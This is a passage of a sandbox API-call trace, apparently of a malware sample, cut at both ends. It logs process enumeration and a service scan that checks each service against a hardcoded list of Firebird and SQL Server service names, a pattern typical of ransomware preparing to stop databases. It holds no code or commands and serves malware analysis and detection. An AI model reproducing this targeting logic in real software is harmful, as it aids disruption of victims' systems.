th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.892] lstrlenW (lpString="svchost.exe") returned 11 [0299.892] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.893] lstrlenW (lpString="svchost.exe") returned 11 [0299.893] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.894] lstrlenW (lpString="svchost.exe") returned 11 [0299.894] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.895] lstrlenW (lpString="svchost.exe") returned 11 [0299.895] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.895] lstrlenW (lpString="svchost.exe") returned 11 [0299.895] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.896] lstrlenW (lpString="svchost.exe") returned 11 [0299.896] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.897] lstrlenW (lpString="svchost.exe") returned 11 [0299.897] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.898] lstrlenW (lpString="svchost.exe") returned 11 [0299.898] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.899] lstrlenW (lpString="svchost.exe") returned 11 [0299.899] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0299.900] lstrlenW (lpString="spoolsv.exe") returned 11 [0299.900] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.901] lstrlenW (lpString="svchost.exe") returned 11 [0299.901] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0299.902] lstrlenW (lpString="audiodg.exe") returned 11 [0299.902] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0299.903] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0299.903] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0300.006] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0300.006] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0300.007] lstrlenW (lpString="Memory Compression") returned 18 [0300.009] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.010] lstrlenW (lpString="svchost.exe") returned 11 [0300.010] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0300.011] lstrlenW (lpString="sihost.exe") returned 10 [0300.011] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0300.012] lstrlenW (lpString="taskhostw.exe") returned 13 [0300.012] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0300.013] lstrlenW (lpString="msoia.exe") returned 9 [0300.013] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0300.013] lstrlenW (lpString="explorer.exe") returned 12 [0300.013] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0300.014] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0300.014] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0300.015] lstrlenW (lpString="SearchUI.exe") returned 12 [0300.015] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0300.016] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0300.016] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0300.017] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0300.017] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0300.018] lstrlenW (lpString="dllhost.exe") returned 11 [0300.018] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0300.019] lstrlenW (lpString="chrome64b.exe") returned 13 [0300.019] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf58, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0300.020] lstrlenW (lpString="cmd.exe") returned 7 [0300.020] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0300.021] lstrlenW (lpString="conhost.exe") returned 11 [0300.021] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0300.489] lstrlenW (lpString="cmd.exe") returned 7 [0300.489] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0300.490] lstrlenW (lpString="conhost.exe") returned 11 [0300.490] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0300.491] CloseHandle (hObject=0x360) returned 1 [0300.491] Sleep (dwMilliseconds=0x1f4) [0301.507] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x759d60 [0301.508] EnumServicesStatusExW (in: hSCManager=0x759d60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 0 [0301.508] GetLastError () returned 0xea [0301.508] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1c30) returned 0x4420898 [0301.508] EnumServicesStatusExW (in: hSCManager=0x759d60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4420898, cbBufSize=0x1c30, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4420898, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 1 [0301.509] CloseServiceHandle (hSCObject=0x759d60) returned 1 [0301.509] lstrlenW (lpString="Appinfo") returned 7 [0301.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0301.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0301.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0301.509] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0301.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0301.510] lstrlenW (lpString="AppXSvc") returned 7 [0301.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0301.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0301.510] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0301.510] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0301.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0301.510] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0301.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0301.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0301.510] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0301.510] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0301.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0301.510] lstrlenW (lpString="Audiosrv") returned 8 [0301.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0301.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0301.510] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0301.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0301.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0301.510] lstrlenW (lpString="BFE") returned 3 [0301.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0301.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0301.510] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0301.510] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0301.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0301.510] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0301.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0301.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0301.511] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0301.511] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0301.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0301.511] lstrlenW (lpString="CDPSvc") returned 6 [0301.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0301.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0301.511] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0301.511] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0301.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0301.511] lstrlenW (lpString="ClickToRunSvc") returned 13 [0301.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0301.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0301.511] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0301.511] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0301.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0301.511] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0301.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0301.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0301.511] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0301.511] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0301.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0301.511] lstrlenW (lpString="CryptSvc") returned 8 [0301.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0301.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0301.511] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0301.511] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0301.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0301.511] lstrlenW (lpString="DcomLaunch") returned 10 [0301.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0301.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0301.512] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0301.512] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0301.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0301.512] lstrlenW (lpString="DeviceAssociationService") returned 24 [0301.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0301.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0301.512] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0301.512] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0301.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0301.512] lstrlenW (lpString="Dhcp") returned 4 [0301.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0301.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0301.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0301.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0301.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0301.512] lstrlenW (lpString="Dnscache") returned 8 [0301.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0301.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0301.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0301.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0301.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0301.512] lstrlenW (lpString="DPS") returned 3 [0301.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0301.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0301.513] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0301.513] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0301.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0301.513] lstrlenW (lpString="DusmSvc") returned 7 [0301.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0301.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0301.513] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0301.513] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0301.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0301.513] lstrlenW (lpString="EventLog") returned 8 [0301.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0301.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0301.513] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0301.513] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0301.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0301.513] lstrlenW (lpString="EventSystem") returned 11 [0301.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0301.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0301.513] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0301.513] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0301.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0301.513] lstrlenW (lpString="FontCache") returned 9 [0301.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0301.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0301.513] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0301.513] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0301.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0301.514] lstrlenW (lpString="gpsvc") returned 5 [0301.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0301.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0301.514] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0301.514] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0301.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0301.514] lstrlenW (lpString="iphlpsvc") returned 8 [0301.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0301.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0301.514] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0301.514] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0301.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0301.514] lstrlenW (lpString="KeyIso") returned 6 [0301.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0301.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0301.514] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0301.514] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0301.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0301.514] lstrlenW (lpString="LanmanServer") returned 12 [0301.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0301.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0301.514] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0301.514] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0301.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0301.514] lstrlenW (lpString="LanmanWorkstation") returned 17 [0301.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0301.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0301.514] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0301.515] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0301.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0301.515] lstrlenW (lpString="lfsvc") returned 5 [0301.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0301.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0301.515] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0301.515] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0301.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0301.515] lstrlenW (lpString="lmhosts") returned 7 [0301.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0301.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0301.515] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0301.515] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0301.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0301.515] lstrlenW (lpString="LSM") returned 3 [0301.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0301.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0301.515] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0301.515] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0301.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0301.515] lstrlenW (lpString="MpsSvc") returned 6 [0301.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0301.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0301.515] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0301.515] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0301.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0301.515] lstrlenW (lpString="NcbService") returned 10 [0301.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0301.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0301.516] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0301.516] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0301.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0301.516] lstrlenW (lpString="netprofm") returned 8 [0301.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0301.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 